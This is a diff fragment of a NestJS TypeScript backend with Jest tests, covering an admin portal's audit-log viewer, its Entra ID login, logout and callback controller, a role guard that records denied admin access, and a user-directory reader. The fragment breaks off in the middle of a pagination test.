expect(auditWriter.adminAuditStatsQuery).toHaveBeenCalledWith({
actor: { oid: 'admin-oid' },
filters: { outcome: 'denied' },
total: STATS.total,
});
});
it('still returns stats when there is no session.user (defensive)', async () => {
const { controller, auditWriter } = makeFixture();
const result = await controller.stats(makeReq(), {} as AdminAuditStatsQueryDto);
expect(result).toBe(STATS);
expect(auditWriter.adminAuditStatsQuery).not.toHaveBeenCalled();
});
it('propagates audit write failures (same blocking posture as list)', async () => {
const { controller, auditWriter } = makeFixture();
auditWriter.adminAuditStatsQuery.mockRejectedValueOnce(new Error('audit_writer denied'));
await expect(
controller.stats(makeReq({ oid: 'admin-oid' }), {} as AdminAuditStatsQueryDto),
).rejects.toThrow('audit_writer denied');
});
});
@@ -0,0 +1,101 @@
import { Controller, Get, Query, Req } from '@nestjs/common';
import { ApiCookieAuth, ApiOperation, ApiTags } from '@nestjs/swagger';
import type { Request } from 'express';
import { AuditWriter } from '../audit/audit.service';
import { AdminAuditQueryDto } from './audit-query.dto';
import { AuditReader, type AdminAuditPage } from './audit-reader.service';
import { AdminAuditStatsQueryDto } from './audit-stats.dto';
import { AuditStatsReader, type AdminAuditStats } from './audit-stats.service';
import { RequireAdmin } from './require-admin.decorator';
/**
* `GET /api/admin/audit` — paginated audit-log viewer per
* ADR-0020's v1 admin module catalogue. Reads `audit.events` via
* the `audit_reader` Postgres role (locked inside the `AuditReader`
* service), shapes the result for SPA consumption, and emits an
* `admin.audit.query` row so the read itself is auditable per
* ADR-0020 §"Read actions are also captured … to deter fishing
* expeditions".
*
* The query DTO (`AdminAuditQueryDto`) carries every supported
* filter + pagination knob; Nest's global ValidationPipe rejects
* unknown keys before they reach this handler.
*
* `@RequireAdmin()` at the class level gates the route on the
* `admin` Entra app role per ADR-0020 §"Auth — same Entra ID".
* `@RequireMfa()` is not applied here in v1: the entire admin
* surface already sits behind a freshly-MFA'd session at the
* sign-in entry, and the audit row itself is the per-query
* deterrent. A future security review can layer `@RequireMfa`
* with a tighter freshness here without touching this code's
* shape — that's exactly why the decorator was designed-in.
*/
@ApiTags('admin (audit log)')
@ApiCookieAuth('portal_admin_session')
@Controller('admin/audit')
@RequireAdmin()
export class AdminAuditController {
constructor(
private readonly auditReader: AuditReader,
private readonly auditStats: AuditStatsReader,
private readonly audit: AuditWriter,
) {}
@ApiOperation({
summary: 'Paginated audit-log query — emits `admin.audit.query` on every call',
})
@Get()
async list(@Req() req: Request, @Query() filters: AdminAuditQueryDto): Promise<AdminAuditPage> {
const page = await this.auditReader.findEvents(filters);
// Guard guarantees `req.session.user`; we still defensively
// narrow rather than assert — the audit emission is what
// makes this read auditable, so if we somehow get here without
// an actor we should still surface the read (with no actor
// hash) rather than silently swallow it.
const actorOid = req.session.user?.oid;
if (actorOid !== undefined) {
await this.audit.adminAuditQuery({
actor: { oid: actorOid },
filters: { ...filters },
resultCount: page.items.length,
});
}
return page;
}
/**
* `GET /api/admin/audit/stats` — server-side aggregations over
* the full filtered set (no pagination). Powers the "Charts" tab
* of the audit viewer per the chantier brief.
*
* Emits `admin.audit.stats.query` per call — same fishing-
* expedition deterrent posture as `list` above. Results are
* Redis-cached for 5 minutes inside `AuditStatsReader` to absorb
* the cost of repeated identical queries (the SPA hits this on
* each tab switch + filter apply).
*/
@ApiOperation({
summary:
'Aggregated audit stats (dailyVolume, outcomeBreakdown, eventTypeByDay) for the filtered set',
})
@Get('stats')
async stats(
@Req() req: Request,
@Query() filters: AdminAuditStatsQueryDto,
): Promise<AdminAuditStats> {
const result = await this.auditStats.getStats(filters);
const actorOid = req.session.user?.oid;
if (actorOid !== undefined) {
await this.audit.adminAuditStatsQuery({
actor: { oid: actorOid },
filters: { ...filters },
total: result.total,
});
}
return result;
}
}
@@ -0,0 +1,282 @@
import type { Request, Response } from 'express';
import type { Logger } from 'nestjs-pino';
import type { AuditWriter } from '../audit/audit.service';
import { PRE_AUTH_COOKIE_NAME } from '../auth/auth.cookie';
import { AuthCodeFlowException } from '../auth/auth.errors';
import type { AuthService, PreAuthPayload } from '../auth/auth.service';
import type { EntraConfig } from '../auth/entra-config.token';
import type { SessionEstablisher } from '../auth/session-establisher.service';
import { AdminAuthController } from './admin-auth.controller';
const ENTRA: EntraConfig = {
instanceUrl: 'https://login.microsoftonline.com/',
tenantId: 'aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee',
clientId: '11111111-2222-3333-4444-555555555555',
clientSecret: 's3cret',
redirectUri: 'http://localhost:3000/api/auth/callback',
postLogoutRedirectUri: 'http://localhost:4200/',
adminRedirectUri: 'http://localhost:3000/api/admin/auth/callback',
adminPostLogoutRedirectUri: 'http://localhost:4300/',
authority: 'https://login.microsoftonline.com/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee',
};
const USER = {
oid: 'admin-oid',
tid: ENTRA.tenantId,
username: 'admin@apf.example',
displayName: 'Admin Smith',
amr: ['pwd', 'mfa'],
roles: ['admin'],
};
const PRE_AUTH: PreAuthPayload = {
state: 'state-nonce',
codeVerifier: 'verifier-secret',
createdAt: 1_000,
};
const ADMIN_LOGOUT_URL = `${ENTRA.authority}/oauth2/v2.0/logout?post_logout_redirect_uri=${encodeURIComponent(ENTRA.adminPostLogoutRedirectUri)}`;
function makeResStub() {
const res = {
cookie: jest.fn(),
clearCookie: jest.fn(),
redirect: jest.fn(),
status: jest.fn(),
json: jest.fn(),
};
res.cookie.mockReturnValue(res);
res.clearCookie.mockReturnValue(res);
res.redirect.mockReturnValue(res);
res.status.mockReturnValue(res);
res.json.mockReturnValue(res);
return res as unknown as Response & typeof res;
}
function makeReqStub(opts?: {
signedCookies?: Record<string, unknown>;
sessionUser?: typeof USER;
}): Request {
return {
signedCookies: opts?.signedCookies ?? {},
session: opts?.sessionUser !== undefined ? { user: opts.sessionUser } : {},
sessionID: 'sid-admin',
} as unknown as Request;
}
function makeFixture(opts?: { completeAuthCodeFlow?: jest.Mock }) {
const beginAuthCodeFlow = jest.fn().mockResolvedValue({
authUrl: 'https://entra.example/authorize?state=state-nonce',
preAuthPayload: PRE_AUTH,
});
const completeAuthCodeFlow = opts?.completeAuthCodeFlow ?? jest.fn().mockResolvedValue(USER);
const buildLogoutUrl = jest.fn().mockReturnValue(ADMIN_LOGOUT_URL);
const authService = {
beginAuthCodeFlow,
completeAuthCodeFlow,
buildLogoutUrl,
} as unknown as AuthService;
const audit = {
signIn: jest.fn().mockResolvedValue(undefined),
signInFailed: jest.fn().mockResolvedValue(undefined),
signOut: jest.fn().mockResolvedValue(undefined),
};
const establisher = {
establish: jest.fn().mockResolvedValue(undefined),
destroy: jest.fn().mockResolvedValue(undefined),
};
const logger = { log: jest.fn(), warn: jest.fn(), error: jest.fn() };
return {
controller: new AdminAuthController(
authService,
logger as unknown as Logger,
ENTRA,
audit as unknown as AuditWriter,
establisher as unknown as SessionEstablisher,
),
beginAuthCodeFlow,
completeAuthCodeFlow,
buildLogoutUrl,
audit,
establisher,
logger,
};
}
describe('AdminAuthController.login', () => {
it('passes the admin redirect URI to beginAuthCodeFlow', async () => {
const { controller, beginAuthCodeFlow } = makeFixture();
await controller.login(makeResStub());
expect(beginAuthCodeFlow).toHaveBeenCalledWith(ENTRA.adminRedirectUri);
});
it('writes the pre-auth cookie and 302s to the Entra auth URL', async () => {
const { controller } = makeFixture();
const res = makeResStub();
await controller.login(res);
expect(res.cookie).toHaveBeenCalledWith(
PRE_AUTH_COOKIE_NAME,
expect.any(String),
expect.objectContaining({ signed: true, httpOnly: true }),
);
expect(res.redirect).toHaveBeenCalledWith(302, expect.stringContaining('entra.example'));
});
});
describe('AdminAuthController.callback', () => {
it('passes the admin redirect URI to completeAuthCodeFlow and establishes a surface=admin session', async () => {
const { controller, completeAuthCodeFlow, establisher } = makeFixture();
const res = makeResStub();
const req = makeReqStub({
signedCookies: { [PRE_AUTH_COOKIE_NAME]: JSON.stringify(PRE_AUTH) },
});
await controller.callback(req, res, 'auth-code', PRE_AUTH.state);
expect(completeAuthCodeFlow).toHaveBeenCalledWith(
'auth-code',
PRE_AUTH.state,
PRE_AUTH,
ENTRA.adminRedirectUri,
);
expect(establisher.establish).toHaveBeenCalledWith({
user: USER,
req,
res,
surface: 'admin',
});
expect(res.redirect).toHaveBeenCalledWith(302, ENTRA.adminPostLogoutRedirectUri);
});
it('redirects with ?auth_error=token-exchange-failed when Entra returns error', async () => {
const { controller } = makeFixture();
const res = makeResStub();
const req = makeReqStub({
signedCookies: { [PRE_AUTH_COOKIE_NAME]: JSON.stringify(PRE_AUTH) },
});
await controller.callback(req, res, undefined, undefined, 'access_denied', 'consent declined');
expect(res.redirect).toHaveBeenCalledWith(
302,
expect.stringContaining('auth_error=token-exchange-failed'),
);
// Error redirect lands on the admin post-logout target, not the user-portal one.
expect(res.redirect).toHaveBeenCalledWith(
302,
expect.stringContaining(ENTRA.adminPostLogoutRedirectUri),
);
});
it('redirects with ?auth_error=flow-expired when the pre-auth cookie is missing', async () => {
const { controller, audit } = makeFixture();
const res = makeResStub();
const req = makeReqStub({ signedCookies: {} });
await controller.callback(req, res, 'auth-code', PRE_AUTH.state);
expect(res.redirect).toHaveBeenCalledWith(
302,
expect.stringContaining('auth_error=flow-expired'),
);
expect(audit.signInFailed).toHaveBeenCalledWith(
expect.objectContaining({
failureKind: 'no-pre-auth-cookie',
payload: expect.objectContaining({ surface: 'admin' }),
}),
);
});
it('redirects with the typed error from AuthCodeFlowException', async () => {
const completeAuthCodeFlow = jest
.fn()
.mockRejectedValue(new AuthCodeFlowException({ kind: 'state-mismatch' }));
const { controller, audit } = makeFixture({ completeAuthCodeFlow });
const res = makeResStub();
const req = makeReqStub({
signedCookies: { [PRE_AUTH_COOKIE_NAME]: JSON.stringify(PRE_AUTH) },
});
await controller.callback(req, res, 'auth-code', PRE_AUTH.state);
expect(res.redirect).toHaveBeenCalledWith(
302,
expect.stringContaining('auth_error=state-mismatch'),
);
expect(audit.signInFailed).toHaveBeenCalledWith(
expect.objectContaining({
failureKind: 'state-mismatch',
payload: expect.objectContaining({ surface: 'admin' }),
}),
);
});
});
describe('AdminAuthController.me', () => {
it('returns the public payload with roles when the admin session is populated', () => {
const { controller } = makeFixture();
const res = makeResStub();
const req = makeReqStub({ sessionUser: USER });
controller.me(req, res);
expect(res.json).toHaveBeenCalledWith({
oid: USER.oid,
tid: USER.tid,
username: USER.username,
displayName: USER.displayName,
roles: USER.roles,
});
});
it('throws UnauthorizedException when no user is on the admin session', () => {
const { controller } = makeFixture();
const res = makeResStub();
const req = makeReqStub();
expect(() => controller.me(req, res)).toThrow(/Unauthenticated/);
});
});
describe('AdminAuthController.logout', () => {
it('destroys the admin session, clears the admin cookie + CSRF cookie, redirects to Entra logout', async () => {
const { controller, establisher, buildLogoutUrl } = makeFixture();
const res = makeResStub();
const req = makeReqStub({ sessionUser: USER });
await controller.logout(req, res);
expect(establisher.destroy).toHaveBeenCalledWith({ actor: USER, req });
expect(buildLogoutUrl).toHaveBeenCalledWith(ENTRA.adminPostLogoutRedirectUri);
expect(res.clearCookie).toHaveBeenCalledWith('portal_admin_session', { path: '/' });
expect(res.clearCookie).toHaveBeenCalledWith('portal_csrf', { path: '/' });
expect(res.redirect).toHaveBeenCalledWith(302, ADMIN_LOGOUT_URL);
});
it('uses the __Host- prefixed admin cookie name in production', async () => {
const originalNodeEnv = process.env['NODE_ENV'];
try {
process.env['NODE_ENV'] = 'production';
const { controller } = makeFixture();
const res = makeResStub();
const req = makeReqStub({ sessionUser: USER });
await controller.logout(req, res);
expect(res.clearCookie).toHaveBeenCalledWith('__Host-portal_admin_session', {
path: '/',
});
} finally {
if (originalNodeEnv === undefined) {
delete process.env['NODE_ENV'];
} else {
process.env['NODE_ENV'] = originalNodeEnv;
}
}
});
it('still clears cookies and redirects for an anonymous admin sign-out', async () => {
const { controller, establisher } = makeFixture();
const res = makeResStub();
const req = makeReqStub();
await controller.logout(req, res);
expect(establisher.destroy).toHaveBeenCalledWith({ actor: undefined, req });
expect(res.clearCookie).toHaveBeenCalledWith('portal_admin_session', { path: '/' });
expect(res.redirect).toHaveBeenCalled();
});
});
@@ -0,0 +1,195 @@
import { Controller, Get, Inject, Query, Req, Res, UnauthorizedException } from '@nestjs/common';
import { ApiCookieAuth, ApiOperation, ApiTags } from '@nestjs/swagger';
import type { Request, Response } from 'express';
import { Logger } from 'nestjs-pino';
import { AuditWriter } from '../audit/audit.service';
import {
PRE_AUTH_COOKIE_NAME,
clearPreAuthCookieOptions,
preAuthCookieOptions,
} from '../auth/auth.cookie';
import { AuthCodeFlowException, type AuthCodeFlowError, authErrorCode } from '../auth/auth.errors';
import { AuthService, type PreAuthPayload } from '../auth/auth.service';
import { ENTRA_CONFIG, type EntraConfig } from '../auth/entra-config.token';
import { SessionEstablisher } from '../auth/session-establisher.service';
import { csrfCookieName } from '../security/csrf-cookie';
import { adminSessionCookieName } from '../session/admin-session-cookie';
/**
* `/api/admin/auth/*` — admin-portal OIDC routes per ADR-0020.
*
* Structurally identical to the user-portal `AuthController`:
* `GET /login` 302s to Entra with PKCE + state in a signed cookie,
* `GET /callback` exchanges the code for tokens, establishes the
* admin session, and redirects to the admin SPA. `GET /me` reads
* the admin session back. `GET /logout` destroys the admin session
* and redirects to Entra's RP-initiated logout.
*
* The key difference is *which* `req.session` we're looking at: the
* session middleware mounted on `/api/admin/*` in `main.ts` resolves
* to the admin-session Redis namespace (`session:admin:*`) and uses
* the `__Host-portal_admin_session` cookie, distinct from
* `__Host-portal_session` used by the user portal. Per ADR-0020
* §"Sessions — distinct from `portal-shell`": signing in to one
* surface does NOT sign in to the other.
*
* Routes here are **deliberately not** guarded with `@RequireAdmin`
* or `@RequireMfa`. The whole point of the login flow is to *create*
* the session that those guards check against. Sub-controllers
* (admin business routes) layer the guards on top.
*/
@ApiTags('auth (admin portal)')
@Controller('admin/auth')
export class AdminAuthController {
constructor(
private readonly authService: AuthService,
private readonly logger: Logger,
@Inject(ENTRA_CONFIG) private readonly entra: EntraConfig,
private readonly audit: AuditWriter,
private readonly sessionEstablisher: SessionEstablisher,
) {}
@ApiOperation({ summary: 'Start the admin OIDC Auth Code + PKCE flow (302 to Entra)' })
@Get('login')
async login(@Res() res: Response): Promise<void> {
const { authUrl, preAuthPayload } = await this.authService.beginAuthCodeFlow(
this.entra.adminRedirectUri,
);
res.cookie(PRE_AUTH_COOKIE_NAME, JSON.stringify(preAuthPayload), preAuthCookieOptions());
res.redirect(302, authUrl);
}
@ApiOperation({
summary: 'Entra callback for the admin surface — establishes the admin session',
})
@Get('callback')
async callback(
@Req() req: Request,
@Res() res: Response,
@Query('code') code?: string,
@Query('state') state?: string,
@Query('error') entraError?: string,
@Query('error_description') entraErrorDescription?: string,
): Promise<void> {
res.clearCookie(PRE_AUTH_COOKIE_NAME, clearPreAuthCookieOptions());
if (entraError) {
this.logger.warn(
{
event: 'auth.entra_error',
surface: 'admin',
entraError,
entraErrorDescription,
},
'AdminAuthCallback',
);
await this.audit.signInFailed({
failureKind: 'entra-error',
payload: { surface: 'admin', entraError, entraErrorDescription },
});
return this.redirectWithError(res, 'token-exchange-failed');
}
if (typeof code !== 'string' || typeof state !== 'string') {
await this.audit.signInFailed({
failureKind: 'missing-code-or-state',
payload: { surface: 'admin' },
});
return this.redirectWithError(res, 'token-exchange-failed');
}
const preAuth = readPreAuthCookie(req);
if (!preAuth) {
this.logger.warn({ event: 'auth.no_pre_auth_cookie', surface: 'admin' }, 'AdminAuthCallback');
await this.audit.signInFailed({
failureKind: 'no-pre-auth-cookie',
payload: { surface: 'admin' },
});
return this.redirectWithError(res, 'flow-expired');
}
try {
const user = await this.authService.completeAuthCodeFlow(
code,
state,
preAuth,
this.entra.adminRedirectUri,
);
await this.sessionEstablisher.establish({ user, req, res, surface: 'admin' });
res.redirect(302, this.entra.adminPostLogoutRedirectUri);
} catch (err) {
if (err instanceof AuthCodeFlowException) {
this.logger.warn(
{ event: 'auth.flow_error', surface: 'admin', failure: err.failure },
'AdminAuthCallback',
);
await this.audit.signInFailed({
failureKind: err.failure.kind,
payload: { surface: 'admin' },
});
return this.redirectWithError(res, err.failure.kind);
}
throw err;
}
}
@ApiOperation({ summary: 'Current admin session payload (includes `roles`)' })
@ApiCookieAuth('portal_admin_session')
@Get('me')
me(@Req() req: Request, @Res() res: Response): void {
const user = req.session.user;
if (!user) {
throw new UnauthorizedException({
code: 'unauthenticated',
message: 'Unauthenticated',
});
}
res.json({
oid: user.oid,
tid: user.tid,
username: user.username,
displayName: user.displayName,
// Admins benefit from seeing their role assignment in the
// SPA — drives conditional UI for super-admin features later.
// Other surfaces (`/api/auth/me`) still omit it.
roles: user.roles,
});
}
@ApiOperation({ summary: 'RP-initiated admin logout — destroys admin session' })
@ApiCookieAuth('portal_admin_session')
@Get('logout')
async logout(@Req() req: Request, @Res() res: Response): Promise<void> {
const user = req.session.user;
const wasAuthenticated = Boolean(user);
const logoutUrl = this.authService.buildLogoutUrl(this.entra.adminPostLogoutRedirectUri);
await this.sessionEstablisher.destroy({ actor: user, req });
res.clearCookie(adminSessionCookieName(), { path: '/' });
res.clearCookie(csrfCookieName(), { path: '/' });
this.logger.log(
{ event: 'auth.signed_out', surface: 'admin', wasAuthenticated },
'AdminAuthLogout',
);
res.redirect(302, logoutUrl);
}
private redirectWithError(res: Response, kind: AuthCodeFlowError['kind']): void {
const url = new URL(this.entra.adminPostLogoutRedirectUri);
url.searchParams.set('auth_error', authErrorCode({ kind } as AuthCodeFlowError));
res.redirect(302, url.toString());
}
}
function readPreAuthCookie(req: Request): PreAuthPayload | null {
const raw = (req.signedCookies as Record<string, unknown>)[PRE_AUTH_COOKIE_NAME];
if (typeof raw !== 'string') {
return null;
}
try {
return JSON.parse(raw) as PreAuthPayload;
} catch {
return null;
}
}
@@ -0,0 +1,199 @@
import { ExecutionContext, ForbiddenException, UnauthorizedException } from '@nestjs/common';
import type { Request } from 'express';
import type { Principal } from 'shared-auth';
import { AuditWriter } from '../audit/audit.service';
import { ADMIN_ROLE, AdminRoleGuard } from './admin-role.guard';
interface SessionStub {
user?: {
oid: string;
tid: string;
username: string;
displayName: string;
amr: readonly string[];
roles: readonly string[];
};
principal?: Principal;
}
function makeRequest(opts: {
session?: SessionStub;
method?: string;
originalUrl?: string;
}): Request {
return {
session: opts.session,
method: opts.method ?? 'GET',
originalUrl: opts.originalUrl ?? '/api/admin/me',
} as unknown as Request;
}
function makeContext(req: Request): ExecutionContext {
return {
switchToHttp: () => ({ getRequest: <T>() => req as T }),
} as unknown as ExecutionContext;
}
function makeAuditStub(): jest.Mocked<Pick<AuditWriter, 'adminAccessDenied'>> {
return {
adminAccessDenied: jest.fn().mockResolvedValue(undefined),
};
}
function principalWithPrivileges(privileges: readonly string[]): Principal {
return {
user: {
id: 'user-oid',
personId: 'user-oid',
entraOid: 'user-oid',
tenantId: 't',
displayName: 'Jane',
},
privileges: privileges as Principal['privileges'],
roles: [],
scopes: [{ kind: 'unrestricted' }],
amr: ['pwd', 'mfa'],
};
}
describe('AdminRoleGuard', () => {
it('throws 401 when the request has no session at all', async () => {
const audit = makeAuditStub();
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(makeRequest({ session: undefined }));
await expect(guard.canActivate(ctx)).rejects.toBeInstanceOf(UnauthorizedException);
expect(audit.adminAccessDenied).not.toHaveBeenCalled();
});
it('throws 401 when the session exists but no principal nor legacy user is bound', async () => {
const audit = makeAuditStub();
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(makeRequest({ session: {} }));
await expect(guard.canActivate(ctx)).rejects.toBeInstanceOf(UnauthorizedException);
expect(audit.adminAccessDenied).not.toHaveBeenCalled();
});
it('throws 403 + records admin.access_denied when the principal has no privileges', async () => {
const audit = makeAuditStub();
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(
makeRequest({
session: { principal: principalWithPrivileges([]) },
method: 'GET',
originalUrl: '/api/admin/me',
}),
);
await expect(guard.canActivate(ctx)).rejects.toBeInstanceOf(ForbiddenException);
expect(audit.adminAccessDenied).toHaveBeenCalledWith({
actor: { oid: 'user-oid' },
attemptedRoute: 'GET /api/admin/me',
rolesHeld: [],
});
});
it('throws 403 + records admin.access_denied when the principal has non-admin privileges only', async () => {
const audit = makeAuditStub();
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(
makeRequest({
session: { principal: principalWithPrivileges(['Portal.Auditor']) },
method: 'POST',
originalUrl: '/api/admin/cms/pages',
}),
);
await expect(guard.canActivate(ctx)).rejects.toBeInstanceOf(ForbiddenException);
expect(audit.adminAccessDenied).toHaveBeenCalledWith({
actor: { oid: 'user-oid' },
attemptedRoute: 'POST /api/admin/cms/pages',
rolesHeld: ['Portal.Auditor'],
});
});
it('returns true and does not audit when the principal carries Portal.Admin', async () => {
const audit = makeAuditStub();
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(
makeRequest({ session: { principal: principalWithPrivileges([ADMIN_ROLE]) } }),
);
await expect(guard.canActivate(ctx)).resolves.toBe(true);
expect(audit.adminAccessDenied).not.toHaveBeenCalled();
});
it('returns true when admin is one of several privileges', async () => {
const audit = makeAuditStub();
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(
makeRequest({
session: {
principal: principalWithPrivileges(['Portal.Auditor', ADMIN_ROLE, 'Portal.DPO']),
},
}),
);
await expect(guard.canActivate(ctx)).resolves.toBe(true);
});
it('propagates audit write failures (no audit ⇒ no action, per ADR-0013)', async () => {
const audit = {
adminAccessDenied: jest.fn().mockRejectedValue(new Error('audit_writer denied')),
};
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(makeRequest({ session: { principal: principalWithPrivileges([]) } }));
// The 403 path goes through audit first; if audit throws, the
// guard surfaces the underlying error rather than the
// ForbiddenException — the caller sees a 500 and the audit
// invariant is preserved.
await expect(guard.canActivate(ctx)).rejects.toThrow('audit_writer denied');
});
describe('legacy-session bridge (sessions persisted before ADR-0025 landed)', () => {
it('synthesises a principal from session.user when session.principal is absent', async () => {
const audit = makeAuditStub();
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(
makeRequest({
session: {
user: {
oid: 'user-oid',
tid: 't',
username: 'jane@example',
displayName: 'Jane',
amr: ['pwd', 'mfa'],
roles: [ADMIN_ROLE, 'Other.Role'],
},
},
}),
);
await expect(guard.canActivate(ctx)).resolves.toBe(true);
expect(audit.adminAccessDenied).not.toHaveBeenCalled();
});
it('denies a legacy session whose roles claim carries no Portal.* value', async () => {
const audit = makeAuditStub();
const guard = new AdminRoleGuard(audit as unknown as AuditWriter);
const ctx = makeContext(
makeRequest({
session: {
user: {
oid: 'user-oid',
tid: 't',
username: 'jane@example',
displayName: 'Jane',
amr: ['pwd'],
roles: ['editor', 'auditor'],
},
},
}),
);
await expect(guard.canActivate(ctx)).rejects.toBeInstanceOf(ForbiddenException);
// The legacy bridge filters the raw `roles` claim down to
// `Portal.*` values for the audit row's `rolesHeld` field —
// `editor` and `auditor` are not privileges, so the held
// list is empty.
expect(audit.adminAccessDenied).toHaveBeenCalledWith({
actor: { oid: 'user-oid' },
attemptedRoute: 'GET /api/admin/me',
rolesHeld: [],
});
});
});
});
@@ -0,0 +1,76 @@
import {
CanActivate,
ExecutionContext,
ForbiddenException,
Injectable,
UnauthorizedException,
} from '@nestjs/common';
import type { Request } from 'express';
import { AuditWriter } from '../audit/audit.service';
import { readSessionPrincipal } from '../auth/principal-extractor';
/**
* Single Entra app role that gates the entire `/api/admin/*` surface
* per ADR-0020 §"Auth — `Portal.Admin` role claim". The value matches
* the `value` field declared on the app role in the Entra app
* registration manifest. Defined as a constant so spec assertions
* can refer to the same source of truth.
*/
export const ADMIN_ROLE = 'Portal.Admin';
/**
* `AdminRoleGuard` — enforces ADR-0020's role-based admin gate.
*
* Reads from `principal.privileges` per [ADR-0025 §"Guard surface"](../../../../docs/decisions/0025-authorization-model-privileges-roles-scopes.md)
* — the migration thinned the implementation but kept the
* `@RequireAdmin()` public API and the `admin.access_denied`
* audit event type unchanged.
*
* Contract
* --------
* - **No session → 401.** The user is not authenticated at all; the
* SPA should kick off the login flow. We do not audit anonymous
* probes here because the route family is not a target — any
* unauthenticated 401 is normal traffic the absolute-timeout
* middleware would surface anyway.
*
* - **Session but missing `Portal.Admin` privilege → 403 + audit.**
* The user *is* authenticated; they just are not authorised
* for admin. This is the privilege-escalation attempt audit
* signal — every denial lands in `audit.events` with
* `outcome=denied`, the attempted route as `subject`, and the
* `Portal.*` privileges the principal did hold in the payload's
* `rolesHeld` field (kept named `rolesHeld` for backward
* compatibility with the existing audit shape; the values are
* privileges per ADR-0025's renaming of the axis). Per
* ADR-0013 §"Blocking writes": no audit ⇒ no action.
*
* - **Session with `Portal.Admin` privilege → pass through.**
* Downstream controllers see `req.session.user` *and*
* `req.session.principal` populated and can rely on the gate
* having happened.
*/
@Injectable()
export class AdminRoleGuard implements CanActivate {
constructor(private readonly audit: AuditWriter) {}
async canActivate(context: ExecutionContext): Promise<boolean> {
const req = context.switchToHttp().getRequest<Request>();
const principal = readSessionPrincipal(req);
if (principal === null) {
throw new UnauthorizedException();
}
if (!principal.privileges.includes(ADMIN_ROLE)) {
await this.audit.adminAccessDenied({
actor: { oid: principal.user.entraOid },
attemptedRoute: `${req.method} ${req.originalUrl}`,
rolesHeld: [...principal.privileges],
});
throw new ForbiddenException();
}
return true;
}
}
@@ -0,0 +1,147 @@
import { Test } from '@nestjs/testing';
import { PrismaService } from 'nestjs-prisma';
import { AdminUsersReader } from './admin-users-reader.service';
interface MockPrisma {
userDirectoryEntry: {
count: jest.Mock;
findMany: jest.Mock;
};
$transaction: jest.Mock;
}
function buildPrisma(opts?: { count?: number; items?: unknown[] }): MockPrisma {
const count = jest.fn().mockResolvedValue(opts?.count ?? 0);
const findMany = jest.fn().mockResolvedValue(opts?.items ?? []);
return {
userDirectoryEntry: { count, findMany },
// The reader calls $transaction with the promises returned by
// `count()` + `findMany()` — the operations have already fired
// by the time $transaction sees them. The mock just resolves
// them together so Prisma's tuple-return contract is honoured.
$transaction: jest
.fn()
.mockImplementation((promises: ReadonlyArray<Promise<unknown>>) => Promise.all(promises)),
};
}
async function createSubject(prisma: MockPrisma): Promise<AdminUsersReader> {
const moduleRef = await Test.createTestingModule({
providers: [AdminUsersReader, { provide: PrismaService, useValue: prisma }],
}).compile();
return moduleRef.get(AdminUsersReader);
}
const ROW = {
oid: 'user-oid',
tid: 'tenant-1',
audience: 'workforce',
username: 'jane.doe@apf.example',
displayName: 'Jane Doe',
firstSeenAt: new Date('2026-05-10T10:00:00.000Z'),
lastSeenAt: new Date('2026-05-14T08:30:00.000Z'),
};
describe('AdminUsersReader.findUsers', () => {
it('issues a COUNT + SELECT in a single Prisma transaction', async () => {
const prisma = buildPrisma({ count: 5, items: [ROW] });
const reader = await createSubject(prisma);
const page = await reader.findUsers({});
expect(prisma.$transaction).toHaveBeenCalledTimes(1);
expect(prisma.userDirectoryEntry.count).toHaveBeenCalledTimes(1);
expect(prisma.userDirectoryEntry.findMany).toHaveBeenCalledTimes(1);
expect(page.total).toBe(5);
expect(page.items).toHaveLength(1);
});
it('projects rows into the SPA-facing shape (ISO timestamps)', async () => {
const prisma = buildPrisma({ items: [ROW] });
const reader = await createSubject(prisma);
const page = await reader.findUsers({});
expect(page.items[0]).toEqual({
oid: 'user-oid',
tid: 'tenant-1',
audience: 'workforce',
username: 'jane.doe@apf.example',
displayName: 'Jane Doe',
firstSeenAt: '2026-05-10T10:00:00.000Z',
lastSeenAt: '2026-05-14T08:30:00.000Z',
});
});
it('orders by last_seen_at DESC, oid ASC for deterministic pagination', async () => {
const prisma = buildPrisma();
const reader = await createSubject(prisma);
await reader.findUsers({});
const findManyArgs = prisma.userDirectoryEntry.findMany.mock.calls[0]?.[0] as {
orderBy: ReadonlyArray<Record<string, string>>;
};
expect(findManyArgs.orderBy).toEqual([{ lastSeenAt: 'desc' }, { oid: 'asc' }]);
});
it('passes startsWith filter on username through to Prisma', async () => {
const prisma = buildPrisma();
const reader = await createSubject(prisma);
await reader.findUsers({ username: 'jane' });
const args = prisma.userDirectoryEntry.findMany.mock.calls[0]?.[0] as {
where: { username?: { startsWith?: string } };
};
expect(args.where.username).toEqual({ startsWith: 'jane' });
});
it('passes case-insensitive contains filter on displayName through to Prisma', async () => {
const prisma = buildPrisma();
const reader = await createSubject(prisma);
await reader.findUsers({ displayName: 'doe' });
const args = prisma.userDirectoryEntry.findMany.mock.calls[0]?.[0] as {
where: { displayName?: { contains?: string; mode?: string } };
};
expect(args.where.displayName).toEqual({ contains: 'doe', mode: 'insensitive' });
});
it('combines lastSeenAtFrom and lastSeenAtTo into a single gte/lt range filter', async () => {
const prisma = buildPrisma();
const reader = await createSubject(prisma);
await reader.findUsers({
lastSeenAtFrom: '2026-05-01T00:00:00.000Z',
lastSeenAtTo: '2026-05-14T23:59:59.999Z',
});
const args = prisma.userDirectoryEntry.findMany.mock.calls[0]?.[0] as {
where: { lastSeenAt?: { gte?: Date; lt?: Date } };
};
expect(args.where.lastSeenAt?.gte).toBeInstanceOf(Date);
expect(args.where.lastSeenAt?.lt).toBeInstanceOf(Date);
expect(args.where.lastSeenAt?.gte?.toISOString()).toBe('2026-05-01T00:00:00.000Z');
expect(args.where.lastSeenAt?.lt?.toISOString()).toBe('2026-05-14T23:59:59.999Z');
});
it('applies default limit (50) and offset (0) when not provided', async () => {
const prisma = buildPrisma();
const reader = await createSubject(prisma);
const page = await reader.findUsers({});
const args = prisma.userDirectoryEntry.findMany.mock.calls[0]?.[0] as {
take: number;
skip: number;
};
